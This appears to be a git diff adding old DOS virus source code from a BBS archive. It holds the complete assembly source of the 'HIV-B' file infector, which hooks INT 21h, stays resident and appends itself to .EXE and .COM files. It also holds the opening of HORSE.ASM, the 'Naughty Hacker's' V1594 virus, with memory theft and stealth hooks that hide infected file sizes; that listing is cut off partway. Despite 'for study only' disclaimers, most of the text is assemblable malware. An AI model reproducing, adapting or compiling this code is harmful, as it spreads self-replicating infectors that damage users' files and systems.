ONLY! + [NOTE] Of course, this virus is ONLY for STUDYING, to learn on how + virus are made! After the viruses are old its NICE to release them so + people can study em! + + HOW THE HIV - VIRUS WORKS + + First, I'd like to thanx all those that thanked me for my latest + Virus! (ParaSite Virus)! And I'm glad to say I'll be releasing the + Source Codes to this virus in 6 MONTHS! Hopefully, by that time it + will be Detected by SCAN (McAfee & Ass) and yall will get a chance + to study this Assome Virus made totally from me... + + HIV -: This virus Spreads thru coping itself to .EXE and .COM Files! + ~~~~~~ You will notice the file gets larger by 1614 Bytes! The Virus + Hooks itself to Interrup 21h and totally system memory will be 1632 + Bytes Less. Once the file is resident in Memory it will attach itself + to every file that is runned or opened! The date of the original file + Doesn't not change! All this virus does is Copy itself over and over + again! CleanUp V77+ will get rid of it...or Simple delete all files + Infected with the virus...Anywayz Enjoy... + + NOTE: If you want to compile the source, simply look for it in the .TXT files + contained in DATA.EXE in this newsletter package. + +DATA_1E EQU 4CH ; Just a Few Data Segments that are +DATA_3E EQU 84H ; Needed for the virus to find some +DATA_5E EQU 90H ; hard core info... +DATA_7E EQU 102H +DATA_8E EQU 106H +DATA_9E EQU 122H +DATA_10E EQU 124H +DATA_11E EQU 15AH +DATA_12E EQU 450H +DATA_13E EQU 462H +DATA_14E EQU 47BH +DATA_15E EQU 0 +DATA_16E EQU 1 +DATA_17E EQU 2 +DATA_18E EQU 6 +DATA_42E EQU 0FB2CH +DATA_43E EQU 0FB2EH +DATA_44E EQU 0FB4BH +DATA_45E EQU 0FB4DH +DATA_46E EQU 0FB83H +DATA_47E EQU 0FB8DH +DATA_48E EQU 0FB8FH +DATA_49E EQU 0FB95H +DATA_50E EQU 0FB97H +DATA_51E EQU 0 +DATA_52E EQU 2 + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h ; Compile this to a .COM file! + ; So the Virus starts at 0100h +HIV PROC FAR + +START: + JMP LOC_35 + DB 0C3H + DB 23 DUP (0C3H) + DB 61H, 6EH, 74H, 69H, 64H, 65H + DB 62H, 0C3H, 0C3H, 0C3H, 0C3H + DB 'HIV-B Virus - Release 1.1 [NukE]' + DB ' ' +copyright DB '(C) Edited by Rock Steady [NukE]' + DB 0, 0 +DATA_24 DW 0 +DATA_25 DW 0 +DATA_26 DW 0 +DATA_27 DW 706AH +DATA_28 DD 00000H +DATA_29 DW 0 +DATA_30 DW 706AH +DATA_31 DD 00000H +DATA_32 DW 0 +DATA_33 DW 706AH +DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH + DB 'Edited by Rock Steady [NukE]', 0AH, 0DH + DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH + DB '$' + DB 0E8H, 83H, 3, 3DH, 4DH, 4BH + DB 75H, 9, 55H, 8BH, 0ECH, 83H + DB 66H, 6, 0FEH, 5DH, 0CFH, 80H + DB 0FCH, 4BH, 74H, 12H, 3DH, 0 + DB 3DH, 74H, 0DH, 3DH, 0, 6CH + DB 75H, 5, 80H, 0FBH, 0, 74H + DB 3 +LOC_1: + JMP LOC_13 +LOC_2: + PUSH ES ; Save All Regesters so that when + PUSH DS ; we restore the program it will + PUSH DI ; RUN correctly and hide the fact + PUSH SI ; that any Virii is tampering with + PUSH BP ; the System.... + PUSH DX + PUSH CX + PUSH BX + PUSH AX + CALL SUB_6 + CALL SUB_7 + CMP AX,6C00H + JNE LOC_3 ; Jump if not equal + MOV DX,SI +LOC_3: + MOV CX,80H + MOV SI,DX + +LOCLOOP_4: + INC SI ; Slowly down the System a + MOV AL,[SI] ; little. + OR AL,AL ; Zero ? + LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0 + + SUB SI,2 + CMP WORD PTR [SI],4D4FH + JE LOC_7 ; Jump if equal + CMP WORD PTR [SI],4558H + JE LOC_6 ; Jump if equal +LOC_5: + JMP SHORT LOC_12 ; + DB 90H +LOC_6: + CMP WORD PTR [SI-2],452EH + JE LOC_8 ; Jump if equal + JMP SHORT LOC_5 ; +LOC_7: + NOP + CMP WORD PTR [SI-2],432EH + JNE LOC_5 ; Jump if not equal +LOC_8: + MOV AX,3D02H + CALL SUB_5 + JC LOC_12 ; Jump if carry Set + MOV BX,AX + MOV AX,5700H + CALL SUB_5 ; Initsilize the virus... + MOV CS:DATA_24,CX ; A Basic Start up to check + MOV CS:DATA_25,DX ; The Interrup 21h + MOV AX,4200H + XOR CX,CX + XOR DX,DX + CALL SUB_5 + PUSH CS + POP DS + MOV DX,103H + MOV SI,DX + MOV CX,18H + MOV AH,3FH + CALL SUB_5 + JC LOC_10 ; Jump if carry Set + CMP WORD PTR [SI],5A4DH + JNE LOC_9 ; Jump if not equal + CALL SUB_1 + JMP SHORT LOC_10 +LOC_9: + CALL SUB_4 +LOC_10: + JC LOC_11 ; Jump if carry Set + MOV AX,5701H + MOV CX,CS:DATA_24 + MOV DX,CS:DATA_25 + CALL SUB_5 +LOC_11: + MOV AH,3EH ; '>' + CALL SUB_5 +LOC_12: + CALL SUB_7 + POP AX ; A Stealth Procedure to + POP BX ; end the virus and restore + POP CX ; the program! Pup back all + POP DX ; regesters as we found them! + POP BP ; so nothings changed... + POP SI + POP DI + POP DS + POP ES +LOC_13: + JMP CS:DATA_28 + DB 0B4H, 2AH, 0CDH, 21H, 0C3H + +HIV ENDP + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_1 PROC NEAR ; Start of the Virus! + MOV AH,2AH ; Get the Date system Date! + INT 21H ; If its Friday Display the + ; message at Data34 and End! + CMP AL,6 + JE LOC_15 ; If Friday display message + JNZ LOC_14 ; If not continue infecting +LOC_14: ; and screwing the system! + MOV CX,[SI+16H] + ADD CX,[SI+8] + MOV AX,10H + MUL CX ; dx:ax = reg * ax + ADD AX,[SI+14H] + ADC DX,0 + PUSH DX + PUSH AX + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP DX,0 + JNE LOC_16 ; Jump if not equal + CMP AX,64EH + JAE LOC_16 ; Jump if above or = + POP AX + POP DX + STC ; Set carry flag + RETN +LOC_15: + MOV DX,OFFSET DATA_34+18H ; Display Message at Data34! + MOV AH,9 ; With New Offset Address in + INT 21H ; memory! + ; + POP AX ; Restore all Regesters as if + POP BX ; nothing was changed and exit + POP CX ; virus and run File... + POP DX + POP SI + POP DI + POP BP + POP DS + POP ES + MOV AH,0 ; Exit Virus if your in a .EXE + INT 21H ; File!!! + ; Exit virus if your in a .COM + INT 20H ; File!!! +LOC_16: + MOV DI,AX + MOV BP,DX + POP CX + SUB AX,CX + POP CX + SBB DX,CX + CMP WORD PTR [SI+0CH],0 + JE LOC_RET_19 ; Jump if equal + CMP DX,0 + JNE LOC_17 ; Jump if not equal + CMP AX,64EH + JNE LOC_17 ; Jump if not equal + STC ; Set carry flag + RETN +LOC_17: + MOV DX,BP + MOV AX,DI + PUSH DX + PUSH AX + ADD AX,64EH + ADC DX,0 + MOV CX,200H + DIV CX ; Find out How much System + LES DI,DWORD PTR [SI+2] ; memory is available... + MOV CS:DATA_26,DI ; + MOV CS:DATA_27,ES ; Every so often make the + MOV [SI+2],DX ; system memory small than + CMP DX,0 ; what it already is... + JE LOC_18 ; Screws up the users hehe + INC AX +LOC_18: + MOV [SI+4],AX + POP AX + POP DX + CALL SUB_2 + SUB AX,[SI+8] + LES DI,DWORD PTR [SI+14H] + MOV DS:DATA_9E,DI + MOV DS:DATA_10E,ES + MOV [SI+14H],DX ; Tie up some memory! + MOV [SI+16H],AX ; release it on next execution + MOV DS:DATA_11E,AX ; Jump to su routine to do + MOV AX,4202H ; this and disable interrups + XOR CX,CX + XOR DX,DX + CALL SUB_5 + CALL SUB_3 + JC LOC_RET_19 + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + MOV AH,40H + MOV DX,SI + MOV CX,18H + CALL SUB_5 +LOC_RET_19: + RETN +SUB_1 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_2 PROC NEAR + MOV CX,4 + MOV DI,AX + AND DI,0FH + +LOCLOOP_20: + SHR DX,1 ; Shift w/zeros fill + RCR AX,1 ; Rotate thru carry + LOOP LOCLOOP_20 ; Loop if cx > 0 + + MOV DX,DI + RETN +SUB_2 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_3 PROC NEAR + MOV AH,40H + MOV CX,64EH + MOV DX,100H + CALL SUB_6 + JMP SHORT LOC_24 + DB 90H + +;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_4: + MOV AX,4202H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + CMP AX,64EH + JB LOC_RET_23 ; Jump if below + CMP AX,0FA00H + JAE LOC_RET_23 ; Jump if above or = + PUSH AX + CMP BYTE PTR [SI],0E9H + JNE LOC_21 ; Jump if not equal + SUB AX,651H + CMP AX,[SI+1] + JNE LOC_21 ; Jump if not equal + POP AX + STC ; Set carry flag + RETN +LOC_21: + CALL SUB_3 + JNC LOC_22 ; Jump if carry=0 + POP AX + RETN +LOC_22: + MOV AX,4200H + XOR CX,CX ; Zero register + XOR DX,DX ; Zero register + CALL SUB_5 + POP AX + SUB AX,3 + MOV DX,122H + MOV SI,DX + MOV BYTE PTR CS:[SI],0E9H + MOV CS:[SI+1],AX + MOV AH,40H + MOV CX,3 + CALL SUB_5 + +LOC_RET_23: + RETN +SUB_3 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_5 PROC NEAR +LOC_24: + PUSHF ; Push flags + CALL CS:DATA_28 + RETN +SUB_5 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_6 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable the interrupts + LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus + MOV CS:DATA_29,AX ; to the COM File... + MOV CS:DATA_30,ES + MOV AX,46AH + MOV DS:DATA_5E,AX + MOV WORD PTR DS:DATA_5E+2,CS + LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word.. + MOV CS:DATA_32,AX ; get your info needed on + MOV CS:DATA_33,ES ; System... + LES AX,CS:DATA_31 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable the interrupts + POP ES ; and restore regesters! + POP DS ; go back to the file + POP AX ; being executed... + RETN +SUB_6 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_7 PROC NEAR + PUSH AX + PUSH DS + PUSH ES + XOR AX,AX ; Zero register + PUSH AX + POP DS + CLI ; Disable interrupts + LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy + MOV DS:DATA_5E,AX ; yourself to the EXE + MOV WORD PTR DS:DATA_5E+2,ES + LES AX,DWORD PTR CS:DATA_32 + MOV DS:DATA_1E,AX + MOV WORD PTR DS:DATA_1E+2,ES + STI ; Enable interrupts + POP ES + POP DS + POP AX + RETN +SUB_7 ENDP + + DB 0B0H, 3, 0CFH, 50H, 53H, 51H + DB 52H, 56H, 57H, 55H, 1EH, 6 + DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH + DB 62H, 4, 0A1H, 50H, 4, 2EH + DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H + DB 4, 0A3H, 50H, 4, 2EH, 0A1H + DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9 + DB 0B9H, 1, 0, 0CDH, 10H, 0E8H + DB 34H, 0, 0E8H, 0B7H, 0, 2EH + DB 0A1H, 0C7H, 4, 0A3H, 50H, 4 + DB 0B3H, 2, 0B8H, 2, 9, 0B9H + DB 1, 0, 0CDH, 10H, 2EH, 0A1H + DB 0CEH, 4, 0A3H, 50H, 4, 7 + DB 1FH + DB ']_^ZY[X.' + DB 0FFH, 2EH, 0CAH, 4 +DATA_36 DW 0 +DATA_37 DW 1010H +DATA_39 DB 0 +DATA_40 DD 706A0000H + DB 0, 0, 2EH, 0A1H, 0C7H, 4 + DB 8BH, 1EH, 4AH, 4, 4BH, 2EH + DB 0F6H, 6, 0C9H, 4, 1, 74H + DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH + DB 80H, 36H, 0C9H, 4, 1, 0EBH + DB 0AH +LOC_25: + CMP AL,0 + JG LOC_26 ; Jump if > + XOR CS:DATA_39,1 +LOC_26: + TEST CS:DATA_39,2 + JZ LOC_27 ; Jump if zero + CMP AH,18H + JB LOC_28 ; Jump if below + XOR CS:DATA_39,2 + JMP SHORT LOC_28 +LOC_27: + CMP AH,0 + JG LOC_28 ; Jump if > + XOR CS:DATA_39,2 +LOC_28: + CMP BYTE PTR CS:DATA_36,20H + JE LOC_29 ; Jump if equal + CMP BYTE PTR CS:DATA_37+1,0 + JE LOC_29 ; Jump if equal + XOR CS:DATA_39,2 +LOC_29: + TEST CS:DATA_39,1 + JZ LOC_30 ; Jump if zero + INC BYTE PTR CS:DATA_37 + JMP SHORT LOC_31 +LOC_30: + DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H) +LOC_31: + TEST CS:DATA_39,2 ; (706A:04C9=0) + JZ LOC_32 ; Jump if zero + INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + JMP SHORT LOC_RET_33 ; (0555) +LOC_32: + DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H) + +LOC_RET_33: + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_8 PROC NEAR + MOV AX,CS:DATA_37 + MOV DS:DATA_12E,AX ; Get info on type of Video + MOV BH,DS:DATA_13E ; Display the system has... + MOV AH,8 + INT 10H ; with ah=functn 08h + ; basically fuck the cursur.. + MOV CS:DATA_36,AX + RETN +SUB_8 ENDP + + DB 50H, 53H, 51H, 52H, 56H, 57H + DB 55H, 1EH, 6, 33H, 0C0H, 50H + DB 1FH, 81H, 3EH, 70H, 0, 6DH + DB 4, 74H, 35H, 0A1H, 6CH, 4 + DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH + DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0 + DB 75H, 24H, 0FAH, 8BH, 2EH, 50H + DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH + DB 50H, 4, 0C4H, 6, 70H, 0 + DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH + DB 6, 0CCH, 4, 0C7H, 6, 70H + DB 0, 6DH, 4, 8CH, 0EH, 72H + DB 0, 0FBH +LOC_34: + POP ES + POP DS ; Restore and get lost... + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RETN + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +SUB_9 PROC NEAR + MOV DX,10H + MUL DX ; dx:ax = reg * ax + RETN +SUB_9 ENDP + + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_10 PROC NEAR + XOR AX,AX ; If if wants to dissamble + XOR BX,BX ; us give him a HARD time... + XOR CX,CX ; By making all into 0 + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + XOR DI,DI ; Zero register + XOR BP,BP ; Zero register + RETN +SUB_10 ENDP + +LOC_35: + PUSH DS + CALL SUB_11 + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;*- SUBROUTINE *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +SUB_11 PROC NEAR + MOV AX,4B4DH + INT 21H ; Load and EXEC file... + ; be runned... + NOP + JC LOC_36 ; Jump if carry Set + JMP LOC_46 +LOC_36: + POP SI + PUSH SI + MOV DI,SI + XOR AX,AX ; Zero register + PUSH AX + POP DS + LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr + MOV CS:DATA_49E[SI],AX ; Move lots of data + MOV CS:DATA_50E[SI],ES ; into CS to infect the file + LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit.. + MOV CS:DATA_47E[DI],BX + MOV CS:DATA_48E[DI],ES + MOV AX,DS:DATA_7E + CMP AX,0F000H + JNE LOC_44 ; Jump if not equal + MOV DL,80H + MOV AX,DS:DATA_8E + CMP AX,0F000H + JE LOC_37 ; Jump if equal + CMP AH,0C8H + JB LOC_44 ; Jump if below + CMP AH,0F4H + JAE LOC_44 ; Jump if above or = + TEST AL,7FH + JNZ LOC_44 ; Jump if not zero + MOV DS,AX + CMP WORD PTR DS:DATA_51E,0AA55H + JNE LOC_44 ; Jump if not equal + MOV DL,DS:DATA_52E +LOC_37: + MOV DS,AX + XOR DH,DH ; Zero register + MOV CL,9 + SHL DX,CL ; Shift w/zeros fill + MOV CX,DX + XOR SI,SI ; Zero register + +LOCLOOP_38: + LODSW ; String [si] to ax + CMP AX,0FA80H + JNE LOC_39 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7380H + JE LOC_40 ; Jump if equal + JNZ LOC_41 ; Jump if not zero +LOC_39: + CMP AX,0C2F6H + JNE LOC_42 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7580H + JNE LOC_41 ; Jump if not equal +LOC_40: + INC SI + LODSW ; String [si] to ax + CMP AX,40CDH + JE LOC_43 ; Jump if equal + SUB SI,3 +LOC_41: + DEC SI + DEC SI +LOC_42: + DEC SI + LOOP LOCLOOP_38 ; Loop if cx > 0 + + JMP SHORT LOC_44 +LOC_43: + SUB SI,7 + MOV CS:DATA_49E[DI],SI + MOV CS:DATA_50E[DI],DS +LOC_44: + MOV AH,62H + INT 21H ; Simple...Get the PSP + ; Address (Program segment + MOV ES,BX ; address and but in BX) + MOV AH,49H + INT 21H ; Get the Free memory from + ; the system + MOV BX,0FFFFH ; release extra memory blocks + MOV AH,48H + INT 21H ; Allocate the memory + ; At BX (# bytes) + SUB BX,66H ; it attaches virus right + NOP ; under the 640k + JC LOC_46 + MOV CX,ES ; did it work? If not just + STC ; end the virus... + ADC CX,BX + MOV AH,4AH + INT 21H ; Adjust teh memory block + ; size! BX has the # of bytes + MOV BX,65H + STC ; Set carry flag + SBB ES:DATA_17E,BX ; Where to attach itself! + PUSH ES ; under 640K + MOV ES,CX + MOV AH,4AH + INT 21H ; Just change the memory + ; allocations! (BX=Btyes Size) + MOV AX,ES + DEC AX + MOV DS,AX + MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k + CALL SUB_9 + MOV BX,AX + MOV CX,DX + POP DS + MOV AX,DS + CALL SUB_9 + ADD AX,DS:DATA_18E + ADC DX,0 + SUB AX,BX + SBB DX,CX + JC LOC_45 ; Jump if carry Set + SUB DS:DATA_18E,AX +LOC_45: + MOV SI,DI + XOR DI,DI ; Zero register + PUSH CS + POP DS + SUB SI,4D7H + MOV CX,64EH + INC CX + REP MOVSB ; Rep when cx >0 Mov [si] to + MOV AH,62H ; es:[di] + INT 21H ; Get the Program segment + ; prefix...so we can infect it + DEC BX + MOV DS,BX + MOV BYTE PTR DS:DATA_15E,5AH + MOV DX,1E4H + XOR AX,AX ; Zero register + PUSH AX + POP DS + MOV AX,ES + SUB AX,10H + MOV ES,AX + CLI ; Disable interrupts + MOV DS:DATA_3E,DX ; + MOV WORD PTR DS:DATA_3E+2,ES + STI ; Enable interrupts + DEC BYTE PTR DS:DATA_14E ; +LOC_46: + POP SI + CMP WORD PTR CS:DATA_42E[SI],5A4DH + JNE LOC_47 ; Jump if not equal + POP DS + MOV AX,CS:DATA_46E[SI] + MOV BX,CS:DATA_45E[SI] ; all this shit is to restore + PUSH CS ; the program and continue + POP CX ; running the original + SUB CX,AX ; program... + ADD CX,BX + PUSH CX + PUSH WORD PTR CS:DATA_44E[SI] + PUSH DS + POP ES + CALL SUB_10 + RETF +LOC_47: + POP AX + MOV AX,CS:DATA_42E[SI] + MOV WORD PTR CS:[100H],AX + MOV AX,CS:DATA_43E[SI] + MOV WORD PTR CS:[102H],AX + MOV AX,100H + PUSH AX + PUSH CS + POP DS + PUSH DS + POP ES + CALL SUB_10 + RETN +SUB_11 ENDP + + +SEG_A ENDS + + + + END START + + + + + Rock Steady [NuKE] + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/h/HORSE.ASM b/h/HORSE.ASM new file mode 100755 index 0000000..b087a0b --- /dev/null +++ b/h/HORSE.ASM @@ -0,0 +1,1009 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + .radix 16 + + + ;********************************* + ;* The Naughty Hacker's virus * + ;*VERSION 3.1 (And not the last.)* + ;* ( V1594 ) * + ;* Finished on the 10.04.1991 * + ;* * + ;* Glad to meet you friend! * + ;* * + ;********************************* + +; +; "It's hard to find a black cat in a dark room, especially if it's not there." +; +; V1594 ( !@!?!). +; () , +; , +; , +; . +; ...... +; +; TURBO ASSEMBLER Ver 1.03B. +; .... +; +; VIRUSWRITERS ! +; +; +; To be continued ... +; + + + call Start_Virus + mov dx,offset Hellomsg + mov ah,9 + int 21 + int 20 + +Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$' + + Virus_lenght equ endcode-adjust + alllen equ buffer-adjust + + adjust label word + + + IP_save label word + + First_3 Label Byte + ;For .COM file here stores + ret + nop + nop + + CS_save dw ? ;The first 3 bytes + SP_save dw ? + SS_save dw 0FFFF ;0FFFF For COM files + + +signature: + + db 'N.Hacker' ;It's me the HORSE !!! + +date_stamp: + + dd 10041991 ;10.04.1991 + +Run_The_Program: + + pop ds ;Restore saved ds,es,ax + pop es ;ds=es=PSP + pop ax + cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program + je Run_COM_File + + mov ax,ds ;Calculate load segment + add ax,10 + mov bx,ax + add ax,cs:[bp+CS_save-adjust] ;Calculate CS value + add bx,cs:[bp+SS_save-adjust] ;Calculate SS value + mov ss,bx ;Run .EXE program + mov sp,word ptr cs:[bp+SP_save-adjust] + push ax + push word ptr cs:[bp+IP_save-adjust] + retf + +Run_COM_File: + + mov di,100 + mov si,bp + movsb ;Restore the first 3 bytes + movsw ;Run .COM program + mov bx,100 + push bx + sub bh,bh + ret + +;******************************************************************* +; * +; This is the program entry.... * +; * +;******************************************************************* + + +Start_Virus: + + call Get_IP ;This is to get the IP value. + +Get_IP: + pop bp ;Get it in BP. + sub bp,Get_IP-adjust ;adjust BP point to the begining + cld ;Clear direction flag + push ax ;Save some registres + push es + push ds + mov es,[2] ;get last segment + mov di,Run_The_Program-adjust ;(last segment=segment of virus) + + push ds + push cs + pop ds + mov si,di + add si,bp + mov cx,endcode-Run_The_Program + rep cmpsb ;check if virus is in memory + pop ds + push ds + pop es + je Run_The_Program ;If so then run the program + + mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save + mov ax,ds + dec ax + mov ds,ax ;ds=MCB + sub word ptr [3],80 ;Set block size + sub word ptr [12],80 ;Set last segment + mov es,[12] ;steal some memory (2K) + push cs + pop ds + sub di,di + mov si,bp ;prepare to move in high mem + mov cx,alllen ;will move virus+variables + rep movsb ;copy there + push cs + mov ax,Run_The_Program-adjust + add ax,bp + push ax + push es + mov ax,offset Set_Vectors-adjust ;Set vectors + push ax + retf + +Find_First_Next: + + call Call_Original_INT_21h ;fuck when do the dir command + push bx + push es + push ax + or al,al + jnz Go_Out_ ;if error + + mov ah,2f ;get DTA address + int 21 + + mov al,byte ptr es:[bx+30d] ;Seconds in al + and al,31d ;Mask seconds + cmp al,60d/2 ;Seconds=60? + jne Go_Out_ + + mov ax,es:[bx+36d] + mov dx,es:[bx+38d] ;Check File size + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_ + + +Adjust_Size: + + sub es:[bx+28d+7+1],Virus_lenght ;Adjust size + sbb es:[bx+28d+2+7+1],0 + +Go_Out_: + + pop ax + pop es ;Return to caller + pop bx + iret + +Find_First_Next1: + + call Call_Original_INT_21h + pushf + push ax + push bx ;fuck again + push es + jc Go_Out_1 + + mov ah,2f + int 21 + + mov al,es:[bx+22d] + and al,31d + cmp al,60d/2 + jne Go_Out_1 + + mov ax,es:[bx+26d] + mov dx,es:[bx+28d] + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_1 + +Adjust_Size1: + + sub es:[bx+26d],Virus_lenght + sbb es:[bx+28d],0 + +Go_Out_1: + + pop es + pop bx + pop ax ; Dummy proc far + popf ; ret 2 + db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long... + + + ;************************************* + ; * + ; Int 21 entry point. * + ; * + ;**************************:KIIII***** + + + +INT_21h_Entry_Point: + + + cmp ah,11 + je Find_First_Next ;Find First Next (old) + cmp ah,12 + je Find_First_Next + + cmp ah,4e ;Find First Next (new) + je Find_First_Next1 + cmp ah,4f + je Find_First_Next1 + + cmp ah,6ch + jne not_create ;Create (4.X) + test bl,1 + jz not_create + jnz create + +not_create: + + cmp ah,3ch ;Create (3.X) + je create + cmp ah,5bh + je create + + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov byte ptr cs:[function-adjust],ah + + cmp ah,6ch ;Open (4.X) + je create_ + + cmp ah,3e ;Close + je close_ + + cmp ax,4b00 ;Exec + je Function_4Bh + + cmp ah,17 ;Rename (old) + je ren_FCB + + cmp ah,56 ;Rename (new) + je Function_4Bh + + cmp ah,43 ;Change attributes + je Function_4Bh + + cmp ah,3dh ;Open (3.X) + je open + +Return_Control: + + pop es + pop ds + pop bp + pop di 